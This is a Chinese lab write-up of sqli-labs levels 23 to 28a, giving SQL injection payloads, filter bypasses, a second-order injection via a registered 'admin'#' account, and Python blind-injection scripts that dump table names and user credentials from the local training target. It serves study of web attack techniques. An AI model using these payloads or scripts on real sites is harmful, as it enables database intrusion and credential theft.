sqli.labs靶场(23关到28a关)

23、第二十三关

id=1'单引号闭合

找位置1' and 1=2 union select 1,2,3'

爆库:1' and 1=2 union select 1,2,database()'

爆表名:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

爆字段:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' '

爆数据:1' and 1=2 union select 1,2,group_concat(username,':',password) from users where '1'='1

24、第二十四关

我们先注册一个账号admin'#,密码设为123

然后登录进去,有个重置密码:

输入当前密码123,新密码111,然后点Reset

然后我们用新密码登录试试

发现修改后的密码111没法登录admin'#账号,还得用原来密码登录

用新密码111登录admin账号试试

发现可以登陆成功,我们刚才改的用该是admin的密码

这个应该就是传说中的二次注入吧

修改密码是应该是没转移用户名导致的,修改语句应该是下面这样,$username里特殊字符没转译

update users set password='$password' where username='$username'

25:、第二十五关

这关是单引号闭合,提示过滤了and,or,那就只能用其他代替比如like

like绕过:1'like 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

双写绕过:1' anandd 1=2 like extractvalue(1,concat(0x7e,database(),0x7e))--+

anand 或oorr这样

25a、第二十五a关

这关提示大写的OR和AND过滤了

这个id是数值型的,也可以用双写绕过

100%20anandd%201=1%20union%20select%201,2,3#

爆库:

and双写:100 anandd 1=1 union select 1,2,database()#

or双写:100 oorr 1=0 union select 1,2,database()#

like绕过:100 like 1=2 union select 1,2,database()#

100 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' #

infoorrmation_schema里面包含or也可以双写绕过

26、第二十六关

这关是单引号闭合,提示过滤空格

这关and和or过滤了,空格也过滤了,可以用||替换or,%26替换and用报错注入

POC:1'%26extractvalue(1,concat(0x7e,database(),0x7e))%261='1

POC:1'||extractvalue(1,concat(0x7e,database(),0x7e))||1='1

POC:1'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e))||1='1

26a、第二十六a关

这关和26管类似,但是以单引号加括号闭合

id=1')%26('1')=('1

无法使用报错注入,只能用盲注

爆库POC:1')%26(substr(database(),1,1)='s')%26('1')=('1

爆表名POC:

1')%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e')%26('1')=('1

上脚本:

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_","UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-26a/?id=1%27)"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"%26(substr(database(),{p},1)='{a}')%26('1')=('1"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='{database}')),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"%26(substr((select(group_concat(username,':',passwoorrd))from(users)),{p},1)='{a}')%26('1')=('1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                users = f"{users}{a}"
                print(a, end='')
                num = 0

27、第二十七关

直接试探1 union select 1,2,3

发现查的是id=11的值,select和union都被过滤,可以大小写绕过,尝试发现是单引号闭合

构造poc:

1'and(extractvalue(1,concat(0x7e,database(),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(table_name)) from (information_schema.tables) where (table_schema='security')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(column_name)) from (information_schema.columns) where (table_schema='security')and(table_name='users')),0x7e))) or '1'='1

1'and(extractvalue(1,concat(0x7e,(SeLect (group_concat(username,':',password)) from (users)),0x7e))) or '1'='1

27a、第二十七a关

提示双引号闭合,试探一下

没有报错信息,只能盲注

1"and(length(database())>8)and"1"="1

1"and(length(database())>7)and"1"="1

database()的长度是8

这个还是脚本爆料:

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-27a/?id=1%22"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and(substr(database(),{p},1)='{a}')and%221%22=%221"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            if a == "UNHEX('2D')":
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and%221%22=%221"
            else:
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and%221%22=%221"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                if a == "UNHEX('2D')":
                    a = '-'
                users = f"{users}{a}"
                print(a, end='')
                num = 0

28、第二十八关

尝试后发现也是单引号闭合,且过滤空格,没有报错信息,也需要盲注

1'and(length(database())>8)and'1'='1

1'and(length(database())>7)and'1'='1

数据库长度应该是8

盲注还得看脚本

import string
from time import time, sleep

import requests

numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ["@", "$", "^", "(", ")", "_", "UNHEX('2D')", ",", ".", "{", "}", "[", "]", ":", ";", "|"]

if __name__ == '__main__':
    test = True
    # 获取正确返回内容长度
    url = "http://sqli.labs/Less-28/?id=1'"
    list1 = numbers + letters2 + fuhao
    # 获取数据库名
    database = ""
    num = 0
    print(f"数据库:")
    for p in range(50):
        if num > len(list1) * 2:
            break
        for a in list1:
            num += 1
            url_db = url + f"and(substr(database(),{p},1)='{a}')and'1'='1"
            res = requests.get(url_db)
            if "Dumb" in res.text:
                database = f"{database}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取所有表名
    num = 0
    tables = ""
    print(f"所有表名:")
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema='{database}')),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                tables = f"{tables}{a}"
                print(a, end='')
                num = 0
    print("")
    # 获取users表所有字段
    columns = ""
    print(f"users表所有字段名:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            url_db = url + f"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='{database}')%26(table_name='users')),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                columns = f"{columns}{a}"
                print(a, end='')
                num = 0
    print("")  # 换行
    # 获取所有账号
    users = ""
    print(f"所有用户密码:")
    num = 0
    for p in range(1000):
        if num > len(list1) * 2:
            break
        for a in list1:
            if a == "UNHEX('2D')":
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)={a})and'1'='1"
            else:
                url_db = url + f"and(substr((selEcT(group_concat(username,':',password))from(users)),{p},1)='{a}')and'1'='1"
            num += 1
            res = requests.get(url_db)
            if "Dumb" in res.text:
                if a == "UNHEX('2D')":
                    a = '-'
                users = f"{users}{a}"
                print(a, end='')
                num = 0

28a、第二十八a关

这关貌似和28关没啥区别,同样方法尝试

1'and(length(database())>7)and'1'='1

1'and(length(database())>8)and'1'='1

尝试后发现过滤了union select

看过源码后发现是单引号加括号闭合,于是构造轮子尝试union select可以双写绕过

31') unionunion select select 3,2,1 and('1')=('1

爆库:31') unionunion select select 1,database(),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security') ,3 and ('1')=('1

31') unionunion select select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

31') unionunion select select 1,(select group_concat(username,'~',password) from users),3 and ('1')=('1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/366240.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【大数据】Flink SQL 语法篇(二):WITH、SELECT WHERE、SELECT DISTINCT

Flink SQL 语法篇(二) 1.WITH 子句2.SELECT & WHERE 子句3.SELECT DISTINCT 子句 1.WITH 子句 应用场景(支持 Batch / Streaming):With 语句和离线 Hive SQL With 语句一样的,语法糖 1,使用…

谷歌seo搜索引擎优化需要做什么?

当你要做谷歌seo,经手一个你之前没有接触过的网站,你首先要做的就是分析网站当前的流量数据,如果是新站自然不需要这一步,不过数据分析依旧是件很重要的事情,做seo不懂得分析数据相当于白做 再来就是你要了解网站所在的…

卸载Ubuntu双系统

卸载Ubuntu双系统 我们卸载Ubuntu双系统,可能出于以下原因: 1、Ubuntu系统内核损坏无法正常进入 2、Ubuntu系统分配空间不足,直接扩区较为复杂 3、以后不再使用Ubuntu,清理留出空间 123无论出于哪种原因,我们都是要…

柔性电流探头方向判断有哪些方法?干货分享!

柔性电流探头方向判断的方法干货分享!从理论到实践,助您成为专业人士!干货收藏,快看起来吧!      柔性电流探头方向判断一直是电力行业测试中的关键问题之一,确切地判断电流方向对于测试电力系统的稳定…

【GitHub项目推荐--一个由OpenAI提供支持的聊天机器人和虚拟助手的构建平台】【转载】

Botpress Botpress是一个开源项目,它提供了一个平台,用于构建、部署和管理基于人工智能的聊天机器人和虚拟助手 github地址: https://github.com/botpress/botpress Botpress的介绍 Botpress是一个开源项目,它提供了一个平台&…

ROS2 Humble学习笔记 (2)

本文发表于个人的github pages。因csdn本身显示插件和转载过程中导致显示不太友好。建议大家阅读原文。想查看完整内容,请移步到ROS2 Humble学习笔记2。 本文篇幅较长,可抽空按照章节阅读。本文只作为对入门教程的一种浮现和提升。 一、前言 在上一篇…

Spring框架——主流框架

文章目录 Spring(轻量级容器框架)Spring 学习的核心内容-一图胜千言IOC 控制反转 的开发模式Spring快速入门Spring容器剖析手动开发- 简单的 Spring 基于 XML 配置的程序课堂练习 Spring 管理 Bean-IOCSpring 配置/管理 bean 介绍Bean 管理包括两方面: Bean 配置方式基于 xml 文…

2023年上-未来几年我要做什么

1月份,离职。 2月份,春节休假回来,中旬去参加了一个月的瑜伽培训,学会了倒立、鹤蝉。。。。 3月份,瑜伽培训结束,开始收拾房子,并调研各类项目。 4月份,参与了朋友的区块链项目 …

echarts step line

https://ppchart.com/#/ <template><div class"c-box" ref"jsEchart"></div> </template><script> import * as $echarts from echarts // 事件处理函数 export default {props: {// 需要传递的数据data: {type: Array,defa…

Day06-Linux下目录命令讲解及重要文件讲解

Day06-Linux下目录命令讲解及重要文件讲解 1. Linux目录文件1.1 Linux系统目录结构介绍1.1.1 Linux与Windows目录结构对比 1.2 重要的Linux配置文件介绍1.2.1 /etc系统初始化及设置相关重要文件1.2.2 /usr目录的重要知识介绍------应用程序目录1.2.3 /var目录下的路径知识-----…

thinkphp项目之composer快速安装使用

引言 由于项目的需求&#xff0c;thinkphp项目使用到composer。网上搜索有一堆的教程使用&#xff0c;根据自己的需要摸索了下。 步骤 1. 安装phpstudy v8&#xff0c;这个经常用的运行环境&#xff0c;方便好多开发者。安装教程一步一步到最后就行。 2. 安装composer组件&a…

Github 2F2【解决】经验帖-PPHub登入

最近在做项目时,Github总是出问题,这是一经验贴 Github 2F2登入问题【无法登入】PPhub 2F2是为了安全,更好的生态 启用 2FA 二十八 (28) 天后,要在使用 GitHub.com 时 2FA 检查 物理安全密钥、Windows Hello 或面容 ID/触控 ID、SMS、GitHub Mobile 都可以作为 2F2 的工…

CTF特训(二):青少年CTF-MISC部分WP

FLAG&#xff1a;当觉得自己很菜的时候&#xff0c;就静下心来学习 专研方向:MISC&#xff0c;CTF 每日emo&#xff1a;听一千遍反方向的钟&#xff0c;我们能回到过去吗&#xff1f; CTF特训(二)&#xff1a;青少年CTF-MISC部分WP&#xff1a; 文章目录 CTF特训(二)&#xff1…

LeetCode:283. 移动零

283. 移动零 1&#xff09;题目2&#xff09;代码方法一&#xff1a;两层for循环方法二&#xff1a;使用双指针 3&#xff09;结果方法一结果方法二结果 1&#xff09;题目 给定一个数组 nums&#xff0c;编写一个函数将所有 0 移动到数组的末尾&#xff0c;同时保持非零元素的…

计算机毕业设计 | SpringBoot 房屋租赁网 房屋租赁平台(附源码)

1&#xff0c;绪论 1.1 背景调研 在房地产行业持续火热的当今环境下&#xff0c;房地产行业和互联网行业协同发展&#xff0c;互相促进融合已经成为一种趋势和潮流。本项目实现了在线房产平台的功能&#xff0c;多种技术的灵活运用使得项目具备很好的用户体验感。 这个项目的…

day24打卡

day24打卡 思路&#xff1a;画出决策树&#xff0c;暴力枚举。子集问题 决策树&#xff1a; 函数头&#xff1a;void dfs(int n, int k, int pos) 函数体&#xff1a; ​ 出口&#xff1a;全局变量count k 保存结果到全局变量ret中 ​ 子问题&#xff1a;从pos位置向后变…

Linux服务详解

如有错误或有补充&#xff0c;以及任何改进的意见&#xff0c;请在评论区留下您的高见&#xff0c;同时文中给出大部分命令的示例&#xff0c;即是您暂时无法在Linux中查看&#xff0c;您也可以知道各种操作的功能以及输出 如果觉得本文写的不错&#xff0c;不妨点个赞&#x…

C++ //练习 3.36 编写一段程序,比较两个数组是否相等。再写一段程序,比较两个vector对象是否相等。

C Primer&#xff08;第5版&#xff09; 练习 3.36 练习 3.36 编写一段程序&#xff0c;比较两个数组是否相等。再写一段程序&#xff0c;比较两个vector对象是否相等。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /******…

WordPress可以做企业官网吗?如何用wordpress建公司网站?

我们在国内看到很多个人博客网站都是使用WordPress搭建&#xff0c;但是企业官网的相对少一些&#xff0c;那么WordPress可以做企业官网吗&#xff1f;如何用wordpress建公司网站呢&#xff1f;下面boke112百科就跟大家简单说一下。 WordPress是一款免费开源的内容管理系统&am…

主机安全加固之-openssh版本升级

升级openssh之前&#xff0c;为了保证能正常通过工具连接主机&#xff0c;咱们开启telnet服务&#xff0c;通过telnet的方式登录主机 一&#xff1a;开启telnet服务 1.安装telnet服务 [rootlocalhost ~]# yum install –y telnet telnet-server xinetd2.修改telnet服务配置文…